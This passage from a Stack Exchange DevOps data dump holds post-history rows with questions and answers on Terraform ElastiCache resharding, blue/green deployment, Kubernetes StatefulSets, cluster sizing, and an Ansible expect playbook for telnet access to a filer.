case:&#xD;&#xA;&#xD;&#xA;    -/+ module.groupsign_redis.aws_elasticache_replication_group.instance (new resource required)&#xD;&#xA;      id:                                              &quot;test&quot; =&gt; &lt;computed&gt; (forces new resource)&#xD;&#xA;      apply_immediately:                               &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      at_rest_encryption_enabled:                      &quot;false&quot; =&gt; &quot;false&quot;&#xD;&#xA;      auto_minor_version_upgrade:                      &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      automatic_failover_enabled:                      &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      cluster_mode.#:                                  &quot;1&quot; =&gt; &quot;1&quot;&#xD;&#xA;      cluster_mode.3760271746.num_node_groups:         &quot;&quot; =&gt; &quot;3&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3760271746.replicas_per_node_group: &quot;&quot; =&gt; &quot;0&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3784625311.num_node_groups:         &quot;2&quot; =&gt; &quot;0&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3784625311.replicas_per_node_group: &quot;0&quot; =&gt; &quot;0&quot;&#xD;&#xA;&#xD;&#xA;This is also confirmed in the [documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; num_node_groups - (Required) Specify the number of node groups (shards) for this Redis replication group. Changing this number will force a new resource. &#xD;&#xA;&#xD;&#xA;Currently, I see only the option to use Terraform for the initial deployment and then add or remove shards using the AWS UI, which will perform the update in place.&#xD;&#xA;&#xD;&#xA;Do you know of a way to execute the in-place update with Terraform? &#xD;&#xA;Or is adding shards without loosing the state of the database simply not possible with Terraform at the moment?&#xD;&#xA;&#xD;&#xA;Maybe it is possible to add/removing shards by hand (via the AWS UI) and then import the new state back into Terraform. I tried to run `terraform refresh`, but it does succeed in fully synchronizing the state. `terraform apply` still believes the resource has to be changed.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/r/elasticache_replication_group.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="11172" PostHistoryTypeId="5" PostId="3575" RevisionGUID="6dba742c-5bf8-468b-8128-c370dd69081f" CreationDate="2018-03-08T15:14:22.777" UserId="2708" Comment="added 419 characters in body" Text="I have set up a Redis cluster with Terraform. The setup looks like this:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elasticache_replication_group&quot; &quot;instance&quot; {&#xD;&#xA;      replication_group_id = &quot;test&quot;&#xD;&#xA;    &#xD;&#xA;      node_type                     = &quot;cache.t2.micro&quot;&#xD;&#xA;      port                          = 6379&#xD;&#xA;      parameter_group_name          = &quot;default.redis3.2.cluster.on&quot;&#xD;&#xA;      subnet_group_name             = &quot;${aws_elasticache_subnet_group.instance.name}&quot;&#xD;&#xA;      security_group_ids            = [&quot;${aws_security_group.instance.id}&quot;]&#xD;&#xA;    &#xD;&#xA;      cluster_mode {&#xD;&#xA;        replicas_per_node_group = 0&#xD;&#xA;        num_node_groups         = &quot;${var.cluster_size}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      automatic_failover_enabled = true&#xD;&#xA;      apply_immediately = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When I change `var.cluster_size` from 2 to 3, I would have expected that Terraform will perform the update in place. However, that is not the case:&#xD;&#xA;&#xD;&#xA;    -/+ module.groupsign_redis.aws_elasticache_replication_group.instance (new resource required)&#xD;&#xA;      id:                                              &quot;test&quot; =&gt; &lt;computed&gt; (forces new resource)&#xD;&#xA;      apply_immediately:                               &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      at_rest_encryption_enabled:                      &quot;false&quot; =&gt; &quot;false&quot;&#xD;&#xA;      auto_minor_version_upgrade:                      &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      automatic_failover_enabled:                      &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      cluster_mode.#:                                  &quot;1&quot; =&gt; &quot;1&quot;&#xD;&#xA;      cluster_mode.3760271746.num_node_groups:         &quot;&quot; =&gt; &quot;3&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3760271746.replicas_per_node_group: &quot;&quot; =&gt; &quot;0&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3784625311.num_node_groups:         &quot;2&quot; =&gt; &quot;0&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3784625311.replicas_per_node_group: &quot;0&quot; =&gt; &quot;0&quot;&#xD;&#xA;&#xD;&#xA;This is also confirmed in the [documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; num_node_groups - (Required) Specify the number of node groups (shards) for this Redis replication group. Changing this number will force a new resource. &#xD;&#xA;&#xD;&#xA;Currently, I see only the option to use Terraform for the initial deployment and then add or remove shards using the AWS UI, which will perform the update in place.&#xD;&#xA;&#xD;&#xA;Do you know of a way to execute the in-place update with Terraform? &#xD;&#xA;Or is adding shards without loosing the state of the database simply not possible with Terraform at the moment?&#xD;&#xA;&#xD;&#xA;Maybe it is possible to add/removing shards by hand (via the AWS UI) and then import the new state back into Terraform. I tried to run `terraform refresh`, but it does succeed in fully synchronizing the state. `terraform apply` still believes the resource has to be changed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;What does work though is to simply ignore the change. Updating other Terraform resources still works. However, it is a bit confusing as the cluster size that is specified in the Terraform file does not match the actual size that is deployed. You then loose the ability to look at the Terraform setup and see exactly what is currently deployed.&#xD;&#xA;&#xD;&#xA;Currently, that is the best option that I am ware of.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/r/elasticache_replication_group.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="11173" PostHistoryTypeId="5" PostId="3146" RevisionGUID="c36ef12d-4bfc-4b0b-b9e7-3181694db36f" CreationDate="2018-03-08T15:15:18.600" UserId="47" Comment="improved readability" Text="It all depends on how you are deploying your code.&#xD;&#xA;&#xD;&#xA;(First, IMHO, I don't think that Terraform is the right hammer for this operation. Terraform responsibility is to build the necessary infrastructure for your application, not to be the tool used for deploying it. But, as always, &quot;the right/best one&quot; will depend on lots of factors and, depending on the case/scale, it may be the &quot;good enough&quot; solution)&#xD;&#xA;&#xD;&#xA;My suggestion would be, in summary: &#xD;&#xA;&#xD;&#xA;1. Deploy your application in the &quot;unused&quot; environment &#xD;&#xA;2. Test it &#xD;&#xA;3. Change the domain name to point to it&#xD;&#xA;&#xD;&#xA;Assuming you have 2 AutoScaling groups already configured. One called `asg-blue` and the other called `asg-green`. And that the current version resides on `asg-blue` and in terraform you have an `aws_route53_record` pointing to it. You would need to follow these steps, each one with a `terraform apply` before the next: &#xD;&#xA;&#xD;&#xA;- Deploy the newer version of your application on `asg-green`&#xD;&#xA;    - I.e. update everything that is needed to deploy your application version. It may be the AMI you point on your `Launch Configuration` or any other way that you do exclusively using Terraform.&#xD;&#xA;- Test that everything is running as expected&#xD;&#xA;    - Here you could use the domain-name provided for each ASG/ELB or one already configured on terraform&#xD;&#xA;- Update the domain name to pont to `asg-green` ASG/ELB on the `aws_route53_record`&#xD;&#xA;- Reduce the number of machines needed on `asg-blue` to don't use too many resources &#xD;&#xA;    - Depending on your case you can configure for 0 machines&#xD;&#xA;&#xD;&#xA;This way you can have your B/G deployment, but for every deployment you'd need at least two manual interventions in your terraform (the deployment of the new version and updating the domain name).&#xD;&#xA;&#xD;&#xA;But with this strategy you should **take a lot of care** to not deploy on the current ASG being used. &#xD;&#xA;&#xD;&#xA;Of course if your terraform/aws fu is good, instead of reusing ASGs, you could delete and create them as needed.&#xD;&#xA;&#xD;&#xA;Hope that this help in having a &quot;big picture&quot; of the entire process. But I'd suggest that you research and start using tools more focused on deployment, like AWS CodeDeploy.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11174" PostHistoryTypeId="5" PostId="3579" RevisionGUID="8e0b4c5b-05b9-4a60-8678-de7181478f8e" CreationDate="2018-03-08T15:31:53.710" UserId="6835" Comment="added 1171 characters in body" Text="There are several related system engineering trade-offs and choices involved in answering your question. It may be helpful going forward to tackle this question by first prioritizing your objectives and then making the selection and trade-off decisions about VLAN structure, cluster(pod) sizes, etc. to decide which options give you the most bang for the buck in vertical scaling. &#xD;&#xA;&#xD;&#xA;For example, you didn't explain how cpu intensive your web apps are or how much load balancing (based on the front end API management and back end messaging) you expect you will need. The 'one app per VM' design you described suggests your app's workloads are pretty big (for an 8GB VM). Again need more info to delve into this more deeply, but assigning a DB VM per App VM seems a bit wasteful in terms of K8s worker/manager efficiency unless there's a severe reliability and resiliency requirement.   &#xD;&#xA;&#xD;&#xA;Next, what are your options to replace the magnetic HD with SSD? Costs for 100GB and 500GB SSD have dropped significantly and replacing your mag HD with SSD could certainly give your clusters a good deal of disk performance headroom when you scale up.   &#xD;&#xA;&#xD;&#xA;Finally, not sure what your project delivery timeframe is for this, but it might help your thinking all this over and making the best choices if you can take a step back and model this with SysML (using MS Visio) and look at your design and then apply Architectural Tradeoff Analysis Method. &#xD;&#xA;&#xD;&#xA;ATAM and the theory behind it, despite its name, is really rather simple both in theory and in practice. ATAM gets its name because it not only&#xD;&#xA;reveals how well an architecture satisfies particular quality goals (such as performance or &quot;modifiability&quot; or scaling in your case), but it also provides insight into how those  goals interact with each other — how they&#xD;&#xA;trade off against each other. Doing ATAM upfront does point out critical design decisions with the most far-reaching consequences and are the most difficult to change after a system has been implemented. &#xD;&#xA;&#xD;&#xA;SysML and ATAM is also a kind of insurance policy against painting yourself into a corner when a change in either the web app design or your VMWare infrastructure changes. &#xD;&#xA;&#xD;&#xA;[ATAM info here &gt;&gt;&gt;][1]   &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://resources.sei.cmu.edu/asset_files/TechnicalReport/2000_005_001_13706.pdf" ContentLicense="CC BY-SA 3.0" />
  <row Id="11175" PostHistoryTypeId="5" PostId="3579" RevisionGUID="2f6d4f7d-4003-473a-bc68-09db3b4b30aa" CreationDate="2018-03-08T15:37:52.743" UserId="6835" Comment="added 1171 characters in body" Text="There are several related system engineering trade-offs and choices involved in answering your question. It may be helpful going forward to tackle this question by first prioritizing your objectives and then making the selection and trade-off decisions about VLAN structure, cluster(pod) sizes, etc. to decide which options give you the most bang for the buck in vertical scaling. &#xD;&#xA;&#xD;&#xA;For example, you didn't explain how cpu intensive your web apps are or how much load balancing (based on the front end API management and back end messaging) you expect you will need. The 'one app per VM' design you described suggests your app's workloads are pretty big (for an 8GB VM). Again need more info to delve into this more deeply, but assigning a DB VM per App VM seems a bit wasteful in terms of K8s worker/manager efficiency unless there's a severe reliability and resiliency requirement.   &#xD;&#xA;&#xD;&#xA;Next, what are your options to replace the magnetic HD with SSD? Costs for 100GB and 500GB SSD have dropped significantly and replacing your mag HD with SSD could certainly give your clusters a good deal of disk performance headroom when you scale up. In addition to performance, despite the added costs, overall system reliability (MTTF, MTTR) will increase dramatically. New SSD drives have a 6GB data channels which is probably at least double what your mag HD have now.     &#xD;&#xA;&#xD;&#xA;Finally, not sure what your project delivery timeframe is for this, but it might help your thinking all this over and making the best choices if you can take a step back and model this with SysML (using MS Visio) and look at your design and then apply Architectural Tradeoff Analysis Method. &#xD;&#xA;&#xD;&#xA;ATAM and the theory behind it, despite its name, is really rather simple both in theory and in practice. ATAM gets its name because it not only&#xD;&#xA;reveals how well an architecture satisfies particular quality goals (such as performance or &quot;modifiability&quot; or scaling in your case), but it also provides insight into how those  goals interact with each other — how they&#xD;&#xA;trade off against each other. Doing ATAM upfront does point out critical design decisions with the most far-reaching consequences and are the most difficult to change after a system has been implemented. &#xD;&#xA;&#xD;&#xA;SysML and ATAM is also a kind of insurance policy against painting yourself into a corner when you are asked to cost justify your design choices or forecast TCO when a change in either the web app design or your VMWare infrastructure occurs in the future.  &#xD;&#xA;&#xD;&#xA;[ATAM info here &gt;&gt;&gt;][1]   &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://resources.sei.cmu.edu/asset_files/TechnicalReport/2000_005_001_13706.pdf" ContentLicense="CC BY-SA 3.0" />
  <row Id="11176" PostHistoryTypeId="5" PostId="3579" RevisionGUID="5f80f604-3852-4575-bac5-5e3290720f5c" CreationDate="2018-03-08T15:44:36.873" UserId="6835" Comment="added 1171 characters in body" Text="There are several related system engineering trade-offs and choices involved in answering your question. It may be helpful going forward to tackle this question by first prioritizing your objectives and then making the selection and trade-off decisions about VLAN structure, cluster(pod) sizes, etc. to decide which options give you the most bang for the buck in vertical scaling. &#xD;&#xA;&#xD;&#xA;For example, you didn't explain how cpu intensive your web apps are or how much load balancing (based on the front end API management and back end messaging) you expect you will need. The 'one app per VM' design you described suggests your app's workloads are pretty big (for an 8GB VM). Again need more info to delve into this more deeply, but assigning a DB VM per App VM seems a bit wasteful in terms of K8s worker/manager efficiency unless there's a severe reliability and resiliency requirement.   &#xD;&#xA;&#xD;&#xA;Next, what are your options to replace the magnetic HD with SSD? Costs for 100GB and 500GB SSD have dropped significantly and replacing your mag HD with SSD could certainly give your clusters a good deal of disk performance headroom when you scale up. In addition to performance, despite the added costs, overall system reliability (MTTF, MTTR) will increase dramatically. New SSD drives have 6GB data channels which is probably at least double what your mag HD have now. In building a Docker/K8s cluster of any size, disk channel bandwidth and processor core count can cover a multitude of design sins.      &#xD;&#xA;&#xD;&#xA;Finally, not sure what your project delivery timeframe is for this, but it might help your thinking all this over and making the best choices if you can take a step back and model this with SysML (using MS Visio) and look at your design and then apply Architectural Tradeoff Analysis Method. &#xD;&#xA;&#xD;&#xA;ATAM and the theory behind it, despite its name, is really rather simple both in theory and in practice. ATAM gets its name because it not only&#xD;&#xA;reveals how well an architecture satisfies particular quality goals (such as performance or &quot;modifiability&quot; or scaling in your case), but it also provides insight into how those  goals interact with each other — how they&#xD;&#xA;trade off against each other. Doing ATAM upfront does point out critical design decisions with the most far-reaching consequences and are the most difficult to change after a system has been implemented. &#xD;&#xA;&#xD;&#xA;SysML and ATAM is also a kind of insurance policy against painting yourself into a corner when you are asked to cost justify your design choices or forecast TCO when a change in either the web app design or your VMWare infrastructure occurs in the future.  &#xD;&#xA;&#xD;&#xA;[ATAM info here &gt;&gt;&gt;][1]   &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://resources.sei.cmu.edu/asset_files/TechnicalReport/2000_005_001_13706.pdf" ContentLicense="CC BY-SA 3.0" />
  <row Id="11177" PostHistoryTypeId="5" PostId="3579" RevisionGUID="36a209f3-ab20-4231-8e4b-6a486e0891ee" CreationDate="2018-03-08T16:00:23.950" UserId="6835" Comment="added 396 characters in body" Text="There are several related system engineering trade-offs and choices involved in answering your question. It may be helpful going forward to tackle this question by first prioritizing your objectives and then making the selection and trade-off decisions about VLAN structure, cluster(pod) sizes, etc. to decide which options give you the most bang for the buck in vertical scaling. &#xD;&#xA;&#xD;&#xA;For example, you didn't explain how cpu intensive your web apps are or how much load balancing (based on the front end API management and back end messaging) you expect you will need. While load balancers may not seem relevant to your Docker/K8s design question, the impact this can have on how you size your cluster nodes is obvious if you consider what impact too many nodes and a poorly distributed or overworked load balancer could have on your VLAN design.  &#xD;&#xA;&#xD;&#xA;The 'one app per VM' design you described suggests your app's workloads are pretty big (for an 8GB VM). Again need more info to delve into this more deeply, but assigning a DB VM per App VM seems a bit wasteful in terms of K8s worker/manager efficiency unless there's a severe reliability and resiliency requirement.   &#xD;&#xA;&#xD;&#xA;Next, what are your options to replace the magnetic HD with SSD? Costs for 100GB and 500GB SSD have dropped significantly and replacing your mag HD with SSD could certainly give your clusters a good deal of disk performance headroom when you scale up. In addition to performance, despite the added costs, overall system reliability (MTTF, MTTR) will increase dramatically. New SSD drives have 6GB data channels which is probably at least double what your mag HD have now. In building a Docker/K8s cluster of any size, disk channel bandwidth and processor core count can cover a multitude of design sins.      &#xD;&#xA;&#xD;&#xA;Finally, not sure what your project delivery timeframe is for this, but it might help your thinking all this over and making the best choices if you can take a step back and model this with SysML (using MS Visio) and look at your design and then apply Architectural Tradeoff Analysis Method. &#xD;&#xA;&#xD;&#xA;ATAM and the theory behind it, despite its name, is really rather simple both in theory and in practice. ATAM gets its name because it not only&#xD;&#xA;reveals how well an architecture satisfies particular quality goals (such as performance or &quot;modifiability&quot; or scaling in your case), but it also provides insight into how those  goals interact with each other — how they&#xD;&#xA;trade off against each other. Doing ATAM upfront does point out critical design decisions with the most far-reaching consequences and are the most difficult to change after a system has been implemented. &#xD;&#xA;&#xD;&#xA;SysML and ATAM is also a kind of insurance policy against painting yourself into a corner when you are asked to cost justify your design choices or forecast TCO when a change in either the web app design or your VMWare infrastructure occurs in the future.  &#xD;&#xA;&#xD;&#xA;[ATAM info here &gt;&gt;&gt;][1]  &#xD;&#xA;&#xD;&#xA;[SysML info here &gt;&gt;&gt;][2] &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://resources.sei.cmu.edu/asset_files/TechnicalReport/2000_005_001_13706.pdf&#xD;&#xA;  [2]: http://www.omgsysml.org/SysML-Tutorial-Baseline-to-INCOSE-060524-low_res.pdf" ContentLicense="CC BY-SA 3.0" />
  <row Id="11178" PostHistoryTypeId="2" PostId="3580" RevisionGUID="c2749aa8-6dfe-4256-bd4e-56e5a09cc281" CreationDate="2018-03-08T17:22:17.907" UserId="6833" Text="I have used cloudformation using yaml to build a pipeline AWS Codepipeline and there was a clear option to update the build commands using the script, How can I include the build commands inside the terraform script to create a build project in a pipeline? (don't know where to put the commands) also the terraform guide was not so helpful when i tried finding the solution  " ContentLicense="CC BY-SA 3.0" />
  <row Id="11179" PostHistoryTypeId="1" PostId="3580" RevisionGUID="c2749aa8-6dfe-4256-bd4e-56e5a09cc281" CreationDate="2018-03-08T17:22:17.907" UserId="6833" Text="Terraform: creating a buildspec inside the buildproject itself" ContentLicense="CC BY-SA 3.0" />
  <row Id="11180" PostHistoryTypeId="3" PostId="3580" RevisionGUID="c2749aa8-6dfe-4256-bd4e-56e5a09cc281" CreationDate="2018-03-08T17:22:17.907" UserId="6833" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11181" PostHistoryTypeId="4" PostId="3248" RevisionGUID="6f083172-45b0-497b-a336-4904adc7c9a8" CreationDate="2018-03-08T17:25:18.773" UserId="6839" Comment="don't put tags in the title" Text="Strategy for deploying/hosting javascript-based static websites in containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="11182" PostHistoryTypeId="24" PostId="3248" RevisionGUID="6f083172-45b0-497b-a336-4904adc7c9a8" CreationDate="2018-03-08T17:25:18.773" Comment="Proposed by 6839 approved by 40, 4007 edit id of 631" ContentLicense="CC BY-SA 3.0" />
  <row Id="11183" PostHistoryTypeId="5" PostId="3519" RevisionGUID="cf3ef062-157b-4752-beb0-18985d292767" CreationDate="2018-03-08T17:33:44.147" UserId="6578" Comment="added 7 characters in body" Text="Back when Kubernetes announced the new StatefulSet feature with K8s v1.5 (converting it from the old `PetSet` name), they put out a really good blog post walking through an example of its usage: http://blog.kubernetes.io/2016/12/statefulset-run-scale-stateful-applications-in-kubernetes.html&#xD;&#xA;&#xD;&#xA;The first paragraph has a really good description of differentiating features that always stuck out in my mind:&#xD;&#xA;&#xD;&#xA;&gt; ...“at most one pod per index” for deployment of the Pods in the set. Along with ordered deployment, ordered termination, unique network names, and persistent stable storage ...&#xD;&#xA;&#xD;&#xA;Break down the important ones:&#xD;&#xA;&#xD;&#xA;## Unique network names&#xD;&#xA;In a deployment, it doesn't matter the network name as any pod should be able to pick up the work. However, when you are running things like a stateful cluster, you might have the concept of 'masters' and 'slaves'. This unique network naming will allow you to keep the distinction by referencing a _specific_ pod, with a predictable incremental name.&#xD;&#xA;&#xD;&#xA;## Ordered Termination&#xD;&#xA;This is important for re-deployments in a stateful cluster as you could have critical machines that need to stay up longer. If you have coordinator or 'leader' nodes, those should be the last to be restarted. StatefulSets allows you to do this. The linked blog post even shows an example of this.&#xD;&#xA;&#xD;&#xA;## Persistent stable storage&#xD;&#xA;Arguably, this is the _most_ crucial difference. By default, StatefulSets retain their storage. Kubernetes does _not_ automatically delete the storage that was attached to a StatefulSet. The same _can_ be achieved with deployments, but its not the default." ContentLicense="CC BY-SA 3.0" />
  <row Id="11184" PostHistoryTypeId="4" PostId="3580" RevisionGUID="5bc8758d-4205-4f69-bc5b-a32bb654be7f" CreationDate="2018-03-08T17:35:34.597" UserId="6839" Comment="don't put tags in the title" Text="Creating a buildspec inside the buildproject itself" ContentLicense="CC BY-SA 3.0" />
  <row Id="11185" PostHistoryTypeId="24" PostId="3580" RevisionGUID="5bc8758d-4205-4f69-bc5b-a32bb654be7f" CreationDate="2018-03-08T17:35:34.597" Comment="Proposed by 6839 approved by 4328, 6833 edit id of 639" ContentLicense="CC BY-SA 3.0" />
  <row Id="11186" PostHistoryTypeId="4" PostId="2095" RevisionGUID="4fb2c046-d97c-4c12-8bf2-9dca83fc15e8" CreationDate="2018-03-08T17:36:23.093" UserId="6839" Comment="redundant title" Text="Kubernetes user mode in production" ContentLicense="CC BY-SA 3.0" />
  <row Id="11187" PostHistoryTypeId="24" PostId="2095" RevisionGUID="4fb2c046-d97c-4c12-8bf2-9dca83fc15e8" CreationDate="2018-03-08T17:36:23.093" Comment="Proposed by 6839 approved by 40, 4328 edit id of 633" ContentLicense="CC BY-SA 3.0" />
  <row Id="11188" PostHistoryTypeId="5" PostId="2064" RevisionGUID="645c5a1a-36e1-47b8-b4b2-c7a414f2f91c" CreationDate="2018-03-08T17:36:51.360" UserId="6839" Comment="spelling and grammar improvements" Text="I'd say the minimal viable configuration to test and get a good overview of pod placement would be 5 machines, 2 masters and 3 nodes.  &#xD;&#xA;This allows you to play with a master failure, placement of multiple pods &quot;stretched&quot; across the cluster, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="11189" PostHistoryTypeId="24" PostId="2064" RevisionGUID="645c5a1a-36e1-47b8-b4b2-c7a414f2f91c" CreationDate="2018-03-08T17:36:51.360" Comment="Proposed by 6839 approved by 40, 4328 edit id of 632" ContentLicense="CC BY-SA 3.0" />
  <row Id="11190" PostHistoryTypeId="2" PostId="3581" RevisionGUID="ab9196e1-64ae-49ca-9512-a529dd7c0907" CreationDate="2018-03-08T18:03:09.267" UserId="326" Text="You can create `aws_elasticache_replication_group` resource and use data source [aws_elasticache_cluster](https://www.terraform.io/docs/providers/aws/d/elasticache_cluster.html) to retrieve an actual amount of nodes. This way you should not write `ignore_changes`." ContentLicense="CC BY-SA 3.0" />
  <row Id="11191" PostHistoryTypeId="2" PostId="3582" RevisionGUID="229cebaf-ae44-48cb-89cb-821579810b76" CreationDate="2018-03-08T18:14:43.557" UserId="6591" Text="I would like to use the expect module in an ansible playbook to telnet through a termserver to reach a NetApp filer. I tried the telnet module, but using the port argument after the ip address doesn't seem to work.&#xD;&#xA;Manually I would type the following:&#xD;&#xA;&#xD;&#xA;[sansible@scspr0415857001 ansible]$ telnet 10.233.82.7 2033  &#xD;&#xA;Trying 10.233.82.7...  &#xD;&#xA;Connected to 10.233.82.7.  &#xD;&#xA;Escape character is '^]'.  &#xD;&#xA;Connected to port 33.  &#xD;&#xA;&#xD;&#xA;login: admin  &#xD;&#xA;Password:  &#xD;&#xA;&#xD;&#xA;rtpsb-f6280-02a-1::&gt;  &#xD;&#xA;&#xD;&#xA;~~~~~~~~~~~~~~~~~~~&#xD;&#xA;&#xD;&#xA;I think my issue is that the playbook is getting caught up on simulating a return keystroke after &quot;Connected to port 33.&quot;  &#xD;&#xA;&#xD;&#xA;I've also tried using echo -ne '\n'  &#xD;&#xA;&#xD;&#xA;Playbook:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;- hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  gather_facts: false&#xD;&#xA;&#xD;&#xA;  tasks:  &#xD;&#xA;    - name: Expect Attempt  &#xD;&#xA;      expect:  &#xD;&#xA;        echo: yes  &#xD;&#xA;        command: telnet 10.233.82.7 2033  &#xD;&#xA;        responses:  &#xD;&#xA;          Question:  &#xD;&#xA;            - Connected to port* &quot;echo&quot;  &#xD;&#xA;            - login: &quot;admin&quot;  &#xD;&#xA;            - Password: &quot;password&quot; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The full traceback is:  &#xD;&#xA;  File &quot;/tmp/ansible_piMb3N/ansible_module_expect.py&quot;, line 190, in main  &#xD;&#xA;    encoding='utf-8')  &#xD;&#xA;&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {  &#xD;&#xA;    &quot;changed&quot;: true,  &#xD;&#xA;    &quot;cmd&quot;: &quot;telnet 10.233.82.7 2033&quot;,  &#xD;&#xA;    &quot;delta&quot;: &quot;0:00:30.122472&quot;,  &#xD;&#xA;    &quot;end&quot;: &quot;2018-03-08 13:08:12.487220&quot;,  &#xD;&#xA;    &quot;invocation&quot;: {  &#xD;&#xA;        &quot;module_args&quot;: {  &#xD;&#xA;            &quot;chdir&quot;: null,  &#xD;&#xA;            &quot;command&quot;: &quot;telnet 10.233.82.7 2033&quot;,  &#xD;&#xA;            &quot;creates&quot;: null,  &#xD;&#xA;            &quot;echo&quot;: true,  &#xD;&#xA;            &quot;removes&quot;: null,  &#xD;&#xA;            &quot;responses&quot;: {  &#xD;&#xA;                &quot;Question&quot;: [  &#xD;&#xA;                    &quot;Connected to port* \&quot;echo\&quot;&quot;,  &#xD;&#xA;                    {  &#xD;&#xA;                        &quot;login&quot;: &quot;admin&quot;  &#xD;&#xA;                    },  &#xD;&#xA;                    {  &#xD;&#xA;                        &quot;Password&quot;: &quot;password&quot;  &#xD;&#xA;                    }  &#xD;&#xA;                ]  &#xD;&#xA;            },  &#xD;&#xA;            &quot;timeout&quot;: 30  &#xD;&#xA;        }  &#xD;&#xA;    },  &#xD;&#xA;    &quot;msg&quot;: &quot;non-zero return code&quot;,  &#xD;&#xA;    &quot;rc&quot;: 1,  &#xD;&#xA;    &quot;start&quot;: &quot;2018-03-08 13:07:42.364748&quot;,  &#xD;&#xA;    &quot;stdout&quot;: &quot;Trying 10.233.82.7...\r\r\nConnected to 10.233.82.7.\r\r\nEscape   character is '^]'.\r\r\nConnected to port 33. &quot;,  &#xD;&#xA;    &quot;stdout_lines&quot;: [  &#xD;&#xA;        &quot;Trying 10.233.82.7...&quot;,  &#xD;&#xA;        &quot;&quot;,  &#xD;&#xA;        &quot;Connected to 10.233.82.7.&quot;,  &#xD;&#xA;        &quot;&quot;,  &#xD;&#xA;        &quot;Escape character is '^]'.&quot;,  &#xD;&#xA;        &quot;&quot;,  &#xD;&#xA;        &quot;Connected to port 33. &quot;  &#xD;&#xA;    ]  &#xD;&#xA;}  &#xD;&#xA;        to retry, use: --limit @/home/sansible/ansible/expect-r1.retry  &#xD;&#xA;&#xD;&#xA;PLAY RECAP   *********************************************************************************************************************&#xD;&#xA;localhost                  : ok=0    changed=0    unreachable=0    failed=1  &#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11192" PostHistoryTypeId="1" PostId="3582" RevisionGUID="229cebaf-ae44-48cb-89cb-821579810b76" CreationDate="2018-03-08T18:14:43.557" UserId="6591" Text="Ansible Expect Module hung on attempting a simulated return keystroke" ContentLicense="CC BY-SA 3.0" />
  <row Id="11193" PostHistoryTypeId="3" PostId="3582" RevisionGUID="229cebaf-ae44-48cb-89cb-821579810b76" CreationDate="2018-03-08T18:14:43.557" UserId="6591" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11194" PostHistoryTypeId="2" PostId="3583" RevisionGUID="ee45ec85-6ea9-4897-8902-7d024000d234" CreationDate="2018-03-08T19:23:58.650" UserId="3244" Text="Trying to implement **infrastructure as code**. I need the ansible controller machine which pulls the updated playbooks from the git and run the playbooks to create the infrastructure. The issue is I have tried VSTS and AppVeyor and their build agents do not have Ansible installed.&#xD;&#xA;&#xD;&#xA;Should I use my build agent for this task? I am looking for open source and free solutions for the open source project." ContentLicense="CC BY-SA 3.0" />
  <row Id="11195" PostHistoryTypeId="1" PostId="3583" RevisionGUID="ee45ec85-6ea9-4897-8902-7d024000d234" CreationDate="2018-03-08T19:23:58.650" UserId="3244" Text="Installing Ansible Controller to build agents" ContentLicense="CC BY-SA 3.0" />
  <row Id="11196" PostHistoryTypeId="3" PostId="3583" RevisionGUID="ee45ec85-6ea9-4897-8902-7d024000d234" CreationDate="2018-03-08T19:23:58.650" UserId="3244" Text="&lt;ansible&gt;&lt;azure-devops&gt;&lt;appveyor&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11197" PostHistoryTypeId="4" PostId="2519" RevisionGUID="5171661d-29a6-4bde-bfee-20cd3a3567e9" CreationDate="2018-03-08T19:47:17.150" UserId="6839" Comment="don't put tags in the title" Text="String to specify to KUBE_SERVICE_ADDRESSES (API Server configuration)" ContentLicense="CC BY-SA 3.0" />
  <row Id="11198" PostHistoryTypeId="24" PostId="2519" RevisionGUID="5171661d-29a6-4bde-bfee-20cd3a3567e9" CreationDate="2018-03-08T19:47:17.150" Comment="Proposed by 6839 approved by 4328, 47 edit id of 637" ContentLicense="CC BY-SA 3.0" />
